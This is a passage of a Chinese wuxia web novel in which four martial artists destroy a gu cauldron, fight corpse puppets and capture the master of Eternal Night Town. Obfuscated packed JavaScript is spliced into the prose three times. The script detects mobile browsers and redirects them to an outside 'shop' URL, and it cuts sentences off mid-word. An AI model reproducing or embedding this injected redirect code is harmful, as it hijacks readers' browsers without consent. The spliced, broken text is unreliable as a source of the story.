邢勘笑道:“好好,是我不自量力,你说是吧,大帅哥。”说着对雨馀凉笑了笑。这倒是邢勘的真心话,雨馀凉确实长得好看,甚至可以说,连邢勘这个男人都打心底里觉得雨馀凉是他活了二十九年以来见过的长得最好看的男性,是那种带着书卷气的好看,且并无女气。 雨馀凉却有些窘迫,甚至不知道邢勘是不是在挖苦自己,却又听邢勘笑着道:“我这双眼,能看透的可不只是别人的内功哪。” 雨馀凉被呛痛的喉咙这时痛感才稍稍下去了些,他道:“别的不说,花青前辈不收我为徒跟……跟……看上……什么的……有什么关系?” 这回轮到鱼晚衣和邢勘用奇怪的眼神看着他了。雨馀凉发觉后,目光在二人之间来回逡巡了一番,疑惑道:“怎、怎么了?” 邢勘道:“雨兄弟,你是真的不知道?” 雨馀凉更疑惑了:“不知道……不对,什么不知道?不知道什么啊?”他越来越糊涂了。 邢勘道:“咳……你会跟你师父结为夫妻吗?” 空气一下沉默了。 过了半晌,雨馀凉小心道:“……不可以吗?” 邢勘这话刚出时,配合着他难以启齿的语气,雨馀凉本能地觉得师徒成了夫妻似乎确实是有哪里不对,但再仔细想想,又想不明白到底哪里不对。 邢勘和鱼晚衣看着雨馀凉,表情复杂到似乎涵盖了从大跌眼镜到不忍直视的所有内容,对于这种常识性的东西,雨馀凉竟然一副完全不知道的样子。但转念一想,他从小被那书呆子爷爷养大,在门派里也不怎么和其他人一起,也觉解释得通了。 邢勘下颌左右动了几下,想要开口说些什么,却又不知道从哪里说起好,几番酝酿,最终开口道:“一日为师,终身为父,听过吗?师父,那可是爹妈啊!师父和徒弟这样那样,岂不是违背人伦?” 雨馀凉第一次听到这种论调,颇感新奇,心中只反复想着“一日为师,终身为父”,“一日为师,终身为父”……想起自己从前在谷州刀派,那时师父辜俊愿对自己总是冷漠嫌弃厌恶,跟自己想象中会爱会心疼会呵护自己的父母亲八竿子打不着,再想到自己从小无父母呵护,连双亲是谁都不知道,虽有雨休真心关怀,然而每当看到同门弟子的父母拿着大包小包来门派看他们,一家人其乐融融的景象,也不禁内心羡慕凄楚。想到这些,雨馀凉眼中便有些酸涩,他赶紧低下头,道:“之前在门派时,我们师父从来没跟我们讲过这些。” 邢勘看他一眼,道:“你们那个不算是正儿八经的师徒啦。” 雨馀凉道:“可我们也行过拜师大礼。” 邢勘道:“不不不,那不一样。” 其实,雨馀凉自己也觉得不一样。 邢勘又道:“不过所谓师徒呢,也就那样而已。” “人一旦为自己争夺起利益来,连生身父母、兄弟姐妹尚且能杀,何况没有血缘关系的师父或徒弟呢?师徒反目这种事,在江湖上可是屡见不鲜。”邢勘看着一旁油灯跃动的火焰,橘色的火光映在他的眼睛里,似乎陷入了沉思。 这个话题有些沉重,雨馀凉和鱼晚衣也沉默了。 三人聊了这么久,逐渐都感困倦,便各自躺了下去。 室内一片寂静。 因为六岁之前的记忆丢失,在雨馀凉最初的记忆中,雨休就一直和他在一起,他也很快就接受了自己是雨休的孙子这个事实。雨休待他是真的很好,以至于他一开始都没有意识到自己无父无母的事实。直到入了谷州刀派习武,他看到别人都有父母,这才去问雨休。 雨休骗他说他的父母俱是在江湖上行走的侠客,可他的父母究竟是什么人呢?是否真的是侠客?又为什么要把自己遗弃在江边?一连串的问题困扰着他,在他脑中搅成一团,他只觉得自己要弄清楚的事那样多,而摆在面前的事实却是线索全无。 他现在都还能回想起谢岚星说的那句话:“雨老儿自己都是个老光棍,儿子都没有,哪里来的孙子?” 雨馀凉想起自己从前问雨休,自己的父母叫什么名字?长什么样子?他们会武功吗?武功高吗?若他们的武功很高,怎么会生出自己这样没用的儿子?问到最后,他忍不住哭了出来。之后雨休摸着他的头,柔声对他道:“你的父母都是在江湖上行走的侠客,他们武功高强,到处行侠仗义,你好好长大,总有一天,他们会回来看你。”老人顿了顿,接着说道:“凉儿绝不是没用的孩子,而且,不管你是什么样子,你的父母都会很爱你,我敢保证。” 那个时候,他其实有隐约地感觉到雨休是在骗他,但听了这些话后,眼泪怎么都止不住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099709|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 为着自己的身世问题,雨馀凉也和雨休很吵了几次架,雨馀凉说要去寻找自己的身世,雨休说什么也不同意。最后雨休死了,没什么再能阻止他出来弄清楚自己到底是谁这个问题,但他却不想走,不想离开雨休了。 之后长命锁猝然失去,又失而复得,每一件事都在他意料之外,他忽然有些理解了姬花青时不时显露出来的疲惫。 雨馀凉这样想着,不知不觉间便沉沉睡去。 不知过了多久,雨馀凉依稀听见鱼晚衣和邢勘说话的声音。 邢勘道:“绵作?当真么?” 鱼晚衣道:“不当真我干嘛要告诉你?雨少侠亲口说的。” 邢勘道:“不过这个时节我们清楚这个也没什么意义了,家主最近的那封密信上写了什么,你还记得吧?” 鱼晚衣道:“你忘了我也记得。” 邢勘哼了一声,道:“真不可爱。所以别管夏篁的事了,不重要了,直接去临蓟,把水南一锅端了就是,到那个时候,夏篁是哪家的也无所谓。” 鱼晚衣道:“先前我们在给家主的信里说,会查清司马兄妹的死因,好不容易弄清楚了杀他们的是谁,命都差点丢了,却还没来得及上复家主就被困进了这鬼地方……” 雨馀凉心想:“司马兄妹?司马兄妹是谁?谁杀了他们?” 邢勘道:“等出去再说吧,等一从这出去,就立即给衡泽那边送信过去,然后去临蓟。” 鱼晚衣道:“等出去……不知道我们多久才能从这出去,还能不能出去,姬姑娘去了这么久都没回来,该不会出了什么事吧。”说到后来,话语里忧虑之意渐重。 邢勘道:“这镇子不小,要找蛊鼎不是那么容易,时间用得长也在情理之中。放心吧,姬姑娘可比我们两个厉害。” 鱼晚衣道:“嗯,不过看眼下这形势,我看姓连的和姓万的多半也是要去临蓟的了,真是冤家路窄。没想到你我二人联手也还是打不过他们,那位姬花青姑娘一打二却能占到上风,确实是厉害。” 邢勘道:“岂止他们,到时候,除了聊氏卫氏和各自的盟友,看热闹的,想要趁机从中捞得好处的,都会齐聚临蓟。” 雨馀凉越听越觉得不得了,越听越怀疑这是不是自己能听的,他心想:“姓连的?姓万的?难不成是连江和万克礼?他们怎么又和这两人对上了?是了,那时长命锁在他们手上,连万二人定然又是去抢长命锁的。齐聚临蓟?为什么都要去临蓟?”一时间许许多多的信息进入雨馀凉的脑海,让他觉得消化不过来。 鱼晚衣和邢勘倒是并不在意他们这些对话被雨馀凉听到,对他们来说,雨馀凉不过是个局外人,若他们不想让雨馀凉听,不管雨馀凉是睡着还是醒着,都不会在这说。反倒是雨馀凉觉得有些心慌慌的,担心自己知道得太多被灭口,所以尽管醒了很久,都一直装睡。 就在这时,雨馀凉听见一道熟悉的声音:“各位,我找到蛊鼎了。” 鱼晚衣和邢勘脸上俱现喜色,雨馀凉也是惊喜万分,却还是装作刚刚醒来的样子,没像鱼晚衣和邢勘那样立即站起来,而是慢慢坐起,道:“什么?” 姬花青走进密室,道:“我找到蛊鼎了,就在一户人家屋后的小院里。事不宜迟,我们这就过去?” 61. 旧事(一) 众人从大宅出来后,跟着姬花青一路行进,最终走入一条深巷中,来到一户普通人家的后院。 这院儿其实算是宽敞,但堆满了杂物、花盆,并且这些东西从墙角一直延伸到院落中间,能够落脚的地方实在所剩不多。那些杂物包括破烂的水桶、簸箕、笤帚、卷成一卷的油布……等等不一而足,而花盆里也光秃秃的,除了泥土没有其他东西。不过这种一片死气的地方,里面有活着的花花草草才不正常。 雨馀凉等人又是侧身又是提起衣摆走过狭窄的通路,只见院子中央放着一只形量颇大的三足鼎,有紫色的烟雾源源从鼎中冒出,显是正燃着什么东西。 雨馀凉好奇地看着这大鼎,道:“这就是蛊鼎?” 姬花青道:“嗯,虽跟我曾见到的图画在式样上有差异,不过大致特征都是相符的。” 雨馀凉站在蛊鼎旁,顺着里面冒出的烟雾抬头往上望去,只见以漆黑的天空为背景,那紫烟一直飘散到众人头顶正上方很高的位置。 众人都觉得这真是到目前为止这镇子中唯一有点生气的东西了,先前那些蛊毒傀儡虽然能动还会攻击人,但也是散发着一股难以描述的死者气息。 邢勘道:“没想到啊,这种永夜镇命脉一样的东西,竟被随意地放在这。” 姬花青道:“先要把这烟灭了。” 邢勘道:“灭吧,只要这蛊鼎不再散发烟气,那些活死人体内的陈年蛊毒都将立即消散殆尽,再也无法行动。” 就在这时,一道阴森森的声音传来:“谁允许你们进来的?” 众人俱是一惊,同时回过头去。 只见一个极矮小的人影直直站在主屋通往后院的门前,那人脸色青紫,正睁着三白眼看着他们。 邢勘见那人模样只有二十来岁的样子,笑道:“我们也是刚来,怎么,你是这里的主人?”虽然这镇子里的“人”都不正常,但好歹来了个会说话的,邢勘又是极外向极健谈的性格,在永夜镇里困了这许多时候,早就憋坏了,完全忽略鱼晚衣一脸糟心的表情,想也没多想就脱口而出这些话。 邢勘的满面春风似乎吹到那人面前就被悉数冻结住,只见那人头又埋得低了一些,眉头紧皱,双眼狠狠瞪着邢勘等人,道: “谁、允许、你们、进来的!” 那人话音刚落,身体向前一顷,雨馀凉还以为他是忽然向前倒下了,结果下一刻那人就鬼魅一般游到邢勘面前,伸出双手要掐邢勘的脖子。 他的指甲又长又尖,倒还真像个妖怪。 邢勘左手握住剑鞘,剑柄自下而上戳在那人胸腹之间。 那人吃痛,怪叫一声,身形便隐没在了黑暗之中。 邢勘道:“哟嗬,已经成了蛊毒傀儡,却还保有自己的意识。” 姬花青道:“是活人。若是蛊毒傀儡,感受不到疼痛。” 雨馀凉愕然道:“这座镇子里怎么会有活人?” 姬花青正准备说话,忽然间呜呜声响,像是某种声音低沉的乐器发出,声响回荡在整座永夜镇上方。 鱼晚衣猛然记起之前在九寒山牢以及谷州刀派时,夏篁以笛音驱使蛊毒傀儡,顿时产生了不好的预感,对其他三人道:“当心,应该有东西要来了。” 她这话刚说完,众人就听见错杂的脚步声由远及近。雨馀凉不知是不是自己的错觉,他感到地面似乎都在震颤。 砰的一声,院门被撞开,紧接着,众多蛊毒傀儡就如潮水一般涌入了院子。不仅是后院直接与巷道连接的后门有大量蛊毒傀儡进来,前面房屋的门也被破坏,蛊毒傀儡先进入主屋,随即又经由主屋来到后院。 很快这个不大的院子便挤满了这些生前是镇民与客商的蛊毒傀儡,而后面还有蛊毒傀儡源源不断地从镇子各处汇聚到这里,简直像无穷无尽一般。 四人背对着背,各自拔出兵刃朝向一方,那些蛊毒傀儡嘶吼着扑来时,都挥动兵器迎敌。 虽然姬花青依旧觉得这些蛊毒傀儡就算脖子断了一半歪在一旁,或是内脏流出掉在体外也还是能面无表情地攻向自己的场面很是诡异,但好歹知道了他们是变成蛊毒傀儡的人而不是鬼,心理负担没有了,便开始瞄准这些蛊毒傀儡的要害挨个攻击起来。 之前她在永夜镇中砍断了一名蛊毒傀儡的脊柱,但后者依旧能够活动,姬花青想起几个月前在谷州刀派,郑宝卿曾说心脏是这些蛊毒傀儡的唯一要害,虽然之后夏篁给那些蛊毒傀儡种下了什么苏生蛊,这唯一的要害也没了,只能挑断他们的手脚筋使其无法行动,但姬花青还是决定先破坏他们的心脏看有无效果。她接连刺出三刀,每一刀都刺进一名蛊毒傀儡心口,三名蛊毒傀儡就此倒地不再动弹。 见这方法有用,姬花青大声对其他三人道:“刺心脏!”她又反手将刀刃送入身侧一名蛊毒傀儡胸口,“这是他们唯一的要害!” 姬花青不知道的是,谷州刀派大较那日站在看台上的一男一女正是邢勘和鱼晚衣,所以对于郑宝卿总结出的这个法子多少也知道。邢勘虽然知道,且刚将剑从一名毒蛊傀儡的心口处拔出,闻言仍是笑道:“好的,多谢姬姑娘提醒。” 虽然破坏心脏就能杀死这些蛊毒傀儡,但后者数量实在太多,且直到这个时候都还在不断从镇子的四面八方汇聚过来,若真要将这些蛊毒傀儡全部杀死,那么在这之前,众人就得先被活活累死。 姬花青左脚向后踏出一步,回头朝蛊鼎的方向看去,只见自己和其他三人在与蛊毒傀儡打斗的过程中都逐渐远离了蛊鼎,现下在他们和蛊鼎之间,隔着一层又一层蛊毒傀儡。 姬花青正准备朝蛊鼎的所在杀出一条路来,忽然听见鱼晚衣一声惊呼,只见一抹黑影迅捷无比地从一旁闪出,那黑影手起刀落,手中鬼头刀直直就朝鱼晚衣劈去。鱼晚衣心里产生想法前,身体就已经做出了反应,一扬手,钢刺上挺,与鬼头刀相接,两柄兵刃刚一相碰,鱼晚衣就惊觉对方内力不弱。 这永夜镇的蛊毒傀儡虽然会主动攻击人,但他们生前都是不会武的普通人,就算变得张牙舞爪凶狠暴戾,对会武之人来说威胁也十分有限。鱼晚衣先前交手的都是由不会武功的镇民、客商变成的蛊毒傀儡,此刻突然来了一个身怀内力且内力还比一般习武之人浑厚的,鱼晚衣先是一惊,还没来得及反应,那黑影就陡然变招,鬼头刀顺势向下,削向鱼晚衣躯干。 邢勘见状,当即就要过去相救,奈何数不清的蛊毒傀儡挡在他与鱼晚衣之间,邢勘正自焦急,欲强行冲破“人群”赶去鱼晚衣身边,却见雨馀凉斜刺里奔出,刀尖对准那黑影的脑袋刺去,那黑影察觉头侧动静,立即将头转向雨馀凉。 雨馀凉看清它脸后,不禁倒吸了一口凉气,只见它与雨馀凉之前见过的其他所有蛊毒傀儡都不同,后者虽然肤色发绀,黑紫色的血管从皮肤下浮现,但其他方面与活人差别不大。而这使鬼头刀的……不知是什么东西,半张脸尽皆腐烂,另外半张脸虽然能看但十分浮肿,也好不到哪里去,完全腐烂的那半边脸凹陷的眼眶里黑洞洞的,什么都没有,且他身上腐烂的部位似乎还延续到身上穿着的衣物之下,实在是又恶心又诡异。 姬花青几乎与雨馀凉同时看清这黑影的面貌,她先是心惊,随后心中一动,想到阿翠讲的故事里,那个被关氏父女救回随后恩将仇报的山贼,是被埋在土里几天后才诈尸。姬花青知道,并不是只有活人才能被制成蛊毒傀儡,能让人变成蛊毒傀儡的蛊虫对于已经死去的人同样有效果,这人显是死去后过了一段时间才成了蛊毒傀儡,不仅如此,跟这镇子里其他蛊毒傀儡不同的是,此人还会武。 姬花青想,莫非这就是那名山贼,血手寨的当家? 那生前本是山贼的蛊毒傀儡见雨馀凉主动攻击自己,当即丢下鱼晚衣,转身向雨馀凉扑去。令所有人都感到意外的是,雨馀凉竟在两招以内就败下了阵来。并且姬花青、鱼晚衣、邢勘都看出,雨馀凉不敌这山贼,不是因为他武功很差,而是因为对方实在太强。 这山贼,武功颇有两下子,怪不得阿翠说当年血手寨做尽恶事,江湖上的仁侠义士却都拿他们没有办法,这位当家的武功,确实已在很多江湖人之上。 方才二人过招的两合,先是那山贼攻出一招,雨馀凉本想拆解,但他看出那山贼这招看似随意攻来,实则暗含了□□种变化和后着,雨馀凉性格谨慎,保险起见,只得放弃拆解改为招架。长刀格住对方鬼头刀后,雨馀凉立即出招,主动进攻,那山贼却并不格挡,只刀锋斜挥,抢削雨馀凉手肘,雨馀凉眼见对方锈迹斑斑的阔刀离自己手肘只有一两寸,忙缩手回挡,不想那山贼膂力甚大,雨馀凉长刀与对方鬼头刀相触,一股大力顺着刀身直接将雨馀凉掀翻,雨馀凉站立不定,往后栽去,砰的一声仰躺在地上。 那山贼随后扑将上来,将正准备起身的雨馀凉复又按倒在地,雨馀凉重重躺在地上,长刀也没能握稳,脱手掉落。那山贼张口暴露出牙床,朝着后者的脸就咬去。 人变成蛊毒傀儡后大抵都会如此,不管生前是武林高手抑或半点武功不会,是善使拳掌还是擅长腿法,一旦接触到活人,似乎都忘记了手脚的存在,直接就上嘴来咬。 雨馀凉将脸侧开,堪堪躲过一咬,那山贼脸上疑似尸液的不明液体还在不断往下淌着,雨馀凉虽避过了对方的牙齿,但还是眼睁睁看着那些散发着恶臭的液体还是一滴滴落在了自己的脸上。 但情势万分危急、生死存亡之际,雨馀凉也顾不得恶心不恶心,伸出双手直接捧住山贼的头使劲往后揿。 姬花青见状,忙要过去相救,却见一抹白色云岚般的身影骤然闪至那山贼身后,对准其心脏的位置就刺去。 那山贼虽成了蛊毒傀儡,对外界感知的敏锐程度和反应速度却不输任何一个活人高手,只略微侧了侧头,见鱼晚衣闪着青色冷光的三棱钢刺冲自己过来后,便干脆利落地从雨馀凉身上滚至一旁,中间没有了那山贼,眼见三棱钢刺就要刺中雨馀凉,偏偏鱼晚衣这一刺又力大且快,已经无法收回,她发出一声惊呼。好在雨馀凉跟随姬花青在江湖行走数月,中途也数次历险,多少锻炼出了一些反应能力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就意外程度来说,姬花青其实还好,先前在敛安时她已经注意到了这两个小朋友之间的不寻常。长命锁被鱼晚衣夺走后,姬雨二人同行,有一回雨馀凉开口叫姬花青,竟脱口而出了“鱼姑娘”三字,当时姬花青就笑了,戏谑道:“哎哟,对着我叫鱼姑娘?”雨馀凉看到姬花青意味深长的表情,又羞又惭,羞的是自己对鱼晚衣的小心思似乎被姬花青发现,惭的是隐含自己身世线索的长命锁都被鱼晚衣夺走了,自己却还是无法忘情于她。 如果说姬花青对雨馀凉和鱼晚衣之间的微妙关系还有些觉察,邢勘则完全蒙在鼓里。 和邢勘对视,姬花青从邢勘的眼神里看到了疑惑和询问的意思。不过姬花青也只是发现了一些称不上是证据的蛛丝马迹,这些蛛丝马迹若有若无的,真要她说,她也说不清楚这两人是怎么回事。 姬花青移开了目光,她的建议是,邢勘直接去问鱼晚衣。 不过,只要还在这个镇子一天,这些问题就都没有意义。其他人的暧昧也好,主子交待的事也好,自己想要去做的事也好,这些事的意义全部建立在镇子之外的世界。 而永夜镇是亡者的世界。 姬花青和邢勘对视后,两人又不约而同看向雨鱼二人,鱼晚衣一手将雨馀凉拉起,一手举着钢刺留意随时可能攻来的蛊毒傀儡,结果看到分别站在两处的邢勘和姬花青都看着自己和雨馀凉,突然大是窘迫,等雨馀凉站起,立即撒了手。 忽然,邢勘听见耳后呼呼风响,鱼晚衣也突然变了脸色,叫道:“邢大哥,后面!” 邢勘尚未回头,就已左手将剑举起,当的一声,刚好挡住鬼头刀的刀刃,原来这山贼避开鱼晚衣那一刺后,又找上了邢勘。邢勘喝道:“来得正好!我也正要看你有几斤几两。”二人翻来覆去过了二十来招后,邢勘渐感不支,只觉此人生前功夫练得极是到家。他才刚解决那些镇民,基本上是一剑一个,此时骤然对上高手,落差极大。恰好此时又有几名蛊毒傀儡靠近邢勘,邢勘却分不出神去对付它们,心中大呼不妙。正要叫鱼晚衣过来帮忙,但听得鱼晚衣和雨馀凉数声呼叱,又间杂兵刃破风之声,便知他们也被敌人缠上。刀光剑光掩映间,邢勘依稀见到姬花青似已到了蛊鼎之旁,忙叫:“快把烟灭了!”“了”字只说了一半,鬼头刀刃便贴着他的脸削下来,差点把他鼻子削掉,一股带着尸臭的凉意在他面前久久缭绕不去。邢勘强自定神,也左手使开剑法,势要和这山贼拼命。 那山贼一把鬼头刀运使得虎虎生风,刀路又诡秘难测,唰唰划出如十字般交叉的两刀后,下一刀又直取邢勘面门,邢勘侧头躲开,举剑疾刺那山贼左胁下,那山贼收刀回挡,顺势荡开邢勘剑刃,紧接着右腿踢出数脚,全是冲邢勘下盘而来,邢勘亦伸腿回踢。那山贼脚上动作不停,却右手前掠,又送出一刀,邢勘对他这一手早就有所防范,也举剑相迎。却不知那山贼这回使的是什么刀法,只见它右手横着向外一推,手腕翻转,又向内划,邢勘尚未瞧个明白,就见刀锋已在距自己咽部一两寸处,此时回剑抵挡已是万万来不及了,眼看就要遭割喉断颈,忽听咚的一声巨响,那山贼的鬼头刀刀刃本已贴在了邢勘的喉结上,然而那山贼却似在一瞬之间被抽了筋骨,直直挺挺地扑倒在地。 方才那声巨响的余音还在空中回荡,久久缭绕不去,就像寺庙里的敲钟声一般,伴随着那山贼的鬼头刀呛啷落在地上的声音,邢勘抬起头来,见四周所有的蛊毒傀儡全部倒了下去,前一刻还无比喧闹,现在一切归于寂静。 雨馀凉和鱼晚衣正并肩对付蛊毒傀儡,雨馀凉一刀刺出,刀刃还未刺入一名蛊毒傀儡的心脏,那蛊毒傀儡就软绵绵地倒了下去。 院落中央,姬花青站在蛊鼎旁,刀尖指地,而蛊鼎已经被从中间劈成了两半。 62. 旧事(二) 在与众多蛊毒傀儡缠斗时,雨馀凉就瞥见姬花青一边将沿路的蛊毒傀儡刺倒,一边数个起落向蛊鼎蹿跃而去,就在姬花青将刀伸向蛊鼎时,一名蛊毒傀儡来到雨馀凉面前遮挡了他的视线,雨馀凉只得继续提刀作战。之后眼前那蛊毒傀儡在雨馀凉还没来得及刺中其心脏的情况下倒下,他便知是姬花青得了手。 只是他一开始本以为姬花青是用刀将里面焚烧的东西挑出来,没想到后者手起刀落,直接将蛊鼎砍成了两半。 姬花青低头察看刀刃,只见刀刃上多了一道豁口。 方才她这一劈,调用了十分的内力,否则就算将刀折断,也难以劈开这质地本就坚硬的蛊鼎。饶是如此,这把刀也受损不小。 蛊鼎被破坏,效果马上显现了出来,所有由镇民、客商变成的蛊毒傀儡都倒了下去,包括那名身体腐烂的山贼,先前再怎样凶神恶煞,此刻也软绵绵地瘫倒在地。 那山贼也倒了下去,倒是出乎姬花青的意料,因为听阿翠说,是山贼诈尸后将其他人变成蛊毒傀儡的,按照这种说法,山贼便是一切的源头,蛊虫应该在他身上。 蛊鼎只能让身上没有蛊虫寄生的蛊毒傀儡体内的蛊毒持续作用,原本姬花青已经做好了毁去蛊鼎后转头对付那山贼的准备,然而见那山贼也随着蛊鼎的被破坏而倒下,成了一具真正的尸体,一时间倒还有些恍神。 邢勘将姬花青内心的疑问说了出来:“怎么这些人全是身上没有蛊虫的?” 若蛊虫不在这些人身上,那么谁是导致整个永夜镇的人都产生异变的源头?姬花青想起了最开始他们来到这座院子中出现的那人。 可他不是活人吗? 若是蛊毒傀儡,他看上去并没有丧失自己的意识,会说话,还保有痛觉,可他若是活人,又是如何在这永夜镇中生存下来的?难道被下蛊虫的另有其人,只不过离开了这里?说起来,一开始出现在院子里的那人,现在又去哪了? 无数个念头在姬花青心里来回出现、反复纠缠,雨馀凉正想问破坏了蛊鼎后接下来做什么,忽听见“扑”的一声轻微至极的响动,雨馀凉先开始没多在意,之后心中一动,心想这声音不对。 在进入永夜镇前,雨馀凉才跟姬花青学会了刀挡暗器之技,此时将先前所学第一次施展开来,他长刀一挥,那暗器的长杆折断,掉落在地。雨馀凉定睛一看,是一支弩箭。 接下来又是扑扑扑数声传来,几支箭分别射向雨馀凉、鱼晚衣、邢勘三人,三人各自将弩箭打下后,邢勘提气朝院子角落一堆杂物跃去,他本想继续绕到杂物之后将人揪出,杂物后的人见藏身之处被发现,主动跳了出来,邢勘不给他逃跑的机会,伸手就要去掐住那人的脖子。 只见那人手提一张弩,脸现惊慌之色,身形却又化作一道黑影消散在了空中。 方才那人从杂物后跳出来,雨馀凉、鱼晚衣、姬花青都看得真切,此人正是最开始出现在这院子中的人。 邢勘一扑抓了个空,双足落地后,冷笑道:“好,好,玩暗箭伤人的伎俩。”他又转头对鱼晚衣等人说道:“我们已经解决了第一件事,现在第二件事,就是抓住这个人,离开镇子的关键,一定在他身上。” 但四人摆好放对的架势看向四周,良久之后,那人都没再出现,连弩箭也没再射出一支。 鱼晚衣道:“完了,邢大哥,他是被你吓得不敢出来了。他不出来,我们怎么抓他?这镇子这么大,一间屋子一间屋子地搜吗?” 邢勘也觉棘手,蛊鼎被破坏后,蛊毒傀儡这个威胁是消除了,但镇子没有变成白天,天空仍是诡异的黑夜。说到底,他们最根本的目的也不是消灭蛊毒傀儡,而是从这镇子里离开。眼下只有从这永夜镇里唯一会说话、保有自己意识的那人身上入手。然而那人虽身手极差,却似乎怀有奇技,每当要触碰到他时,他都能化作一道黑影霎时间消失得无影无踪。 这无疑给众人捉住他造成了很大的困难。 姬花青道:“也不一定非要抓住他,我们先搜一搜这院子,之前看他反应,似乎相当反感我们进到这里,这院子里除了蛊鼎,兴许还有别的什么东西。” 其他三人听了也觉得有理,便都各自翻找搜寻起来。这院子里堆砌的物品磊放得还算有条理,但数量实在太多,且都铺了一层厚厚的灰尘,让人只看一眼就先犯了懒,心生退却之意,然而四人都迫切地想要出去,也就硬着头皮将东西一样样挪开,并且每挪动一件东西时,都会仔细查看那东西有无异常。 三人找了半天,将院子里摆放积累的杂物移了大部分,四人一开始虽注意着将物品移开后仍整齐摆好,但这院子本就不大,被搅动一阵,还是免不了凌乱,随着众人的翻找,院中落脚之处更加狭小。 雨馀凉找到后来,一个没控制好动作幅度,一张破旧木桌上厚实的灰尘被高高扬起,雨馀凉先是闻到一股浓重的尘土霉味,接着便鼻头一痒,忍不住连打了好几个喷嚏。这几个喷嚏将他打得晕晕乎乎,他不由得将手中长刀杵在方才挪开花盆的所在,然而就在下一瞬间,雨馀凉感到刀往下沉了两三寸,并在这之后下沉之势顿止,刀鞘似乎抵住了什么硬物。 雨馀凉一愣,正要低头往下看去,不知从何方突然连续射出六支弩箭,每一箭都朝雨馀凉射来,雨馀凉一惊,忙将刀连鞘举起,啪啪啪连响六声,将六支弩箭依次打落,雨馀凉将箭打落后心有余悸,精神处于高度紧绷的状态,往弩箭射来的方向望去,道:“谁?” 姬花青心念微动,抽出刀鞘插入方才雨馀凉刀鞘插入的那处,当她感到有坚硬的触感从长刀传来时,手上着力一铲,只见手掌大小的一物从地底冒出,随着土块飞起,接着便掉落在地。 忽听得一声啸叫,一道黑影疾速朝姬花青扑去,姬花青身子旋转一周躲开,等那黑影发现自己扑了个空时,姬花青已在他身后。姬花青旋身间,手臂探出,隔着自己的广袖一把抓住那黑影的后颈,将后者按在了地上。 那黑影兀自挣扎,众人瞧清楚了,他果然就是最开始出现在这院子中的人,也是蛊鼎被毁掉后,躲在暗处放冷箭的的人,同时也是四人在这镇子里到目前为止碰见的唯一会说话的人。 这人便是永夜镇的主人,左如意。 姬花青制住左如意后,邢勘等人想赶紧过来帮姬花青将左如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125570|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的手脚也都按住,姬花青抬头道:“快把墙边的叉子拿来。” 邢勘会意,立即奔向主屋的土墙,一手握住两把叉子,一手将剩下一把拿住,一个起落便到了姬花青身旁,还未等姬花青说话,便用三把钢叉将左如意的双脚、右手分别钉在地上。此时雨馀凉和鱼晚衣也赶过来,与邢勘一人将一把叉子握住,防止左如意挣脱。 姬花青这才将手从左如意的脖子上松开,同时拔出刀来,将方才与左如意皮肤有接触的袖摆割去。 邢勘一开始对姬花青的这一行为感到不解,之后也明白过来:这人好歹是跟那些毒蛊傀儡共同长期生活在这镇子里的,说不准皮肤上有没有什么毒素。虽然没听说过蛊毒傀儡身上的蛊毒会直接通过皮肤接触传染,但姬花青小心一点总是没错。 双脚和右手被钉住,左如意左手还欲反抗,姬花青注意到这点,一脚踩在他左手手腕上。 雨馀凉一边把住叉子,一边观察着被他们制住的这人。只觉得这人武功蹩脚,与完全不会武功的普通人相比算是会一点,但在真正会武功的人跟前又只有挨打的份,这种水平,跟自己之前在谷州刀派时的样子差不多。 邢勘见人终于被他们抓住,正准备开口提问,不想在此时左如意忽然疯了般嘶声大叫道:“卫不疑,卫不疑,卫不疑——!!!”叫声盘旋在半空,余音似乎缭绕不去。他越叫越绝望,最后竟将一边脸贴在地上,痛哭起来。 见他这个反应,雨馀凉,鱼晚衣,邢勘都感到极其意外,不由得面面相觑。 他们还没把他怎么样呢,这位仁兄窝囊得,让三个人都有些替他感到尴尬。 然而姬花青听了卫不疑这三个字却心头大震,眼前一阵眩晕,背上骤然起了一层粟栗,她有些恍神,喃喃地道:“卫不疑?” 但没人留意姬花青的反应,邢勘踢了一脚左如意,道:“我还以为是怎样的厉害阴狠角色,原来是个草包。说吧,我们要怎样才能从这个鬼地方出去?” 左如意只看着地面,并不说话。 邢勘道:“不说是吧?告诉你,爷爷有一百种方法撬开你的嘴。”说着便松开钢叉,换用脚踩在他手臂上,空出来的手则拔出剑来,剑尖在左如意眼前比划,道:“我数到三,你不说,我就从你身上剜一块肉下来,然后再数三声,你若还是不说,我就再割一块下来,最后将你削成一副骨架。” 左如意依旧一言不发,也不去看邢勘等人。 邢勘道:“好,看你能硬到何时。”说完便提剑往左如意手臂上削去。 剑刃还没有触到左如意,左如意便叫道:“我说!我说……” 这个过程之顺利让邢勘等人再一次感受到了不可思议,他们本以为这个永夜之主至少要等身上挂几道彩才肯乖乖招认。 左如意脸上尽是交错的泪痕和泥污,道:“因为地脉的缘故,所以这里才永远都是夜晚,进来的人也无法离开,只要将地脉的效果解除,你们就可以出去了。”左如意说这句话的同时,看向正将先前从土里挖出的盒子捡起的姬花青。 鱼晚衣道:“地脉!” 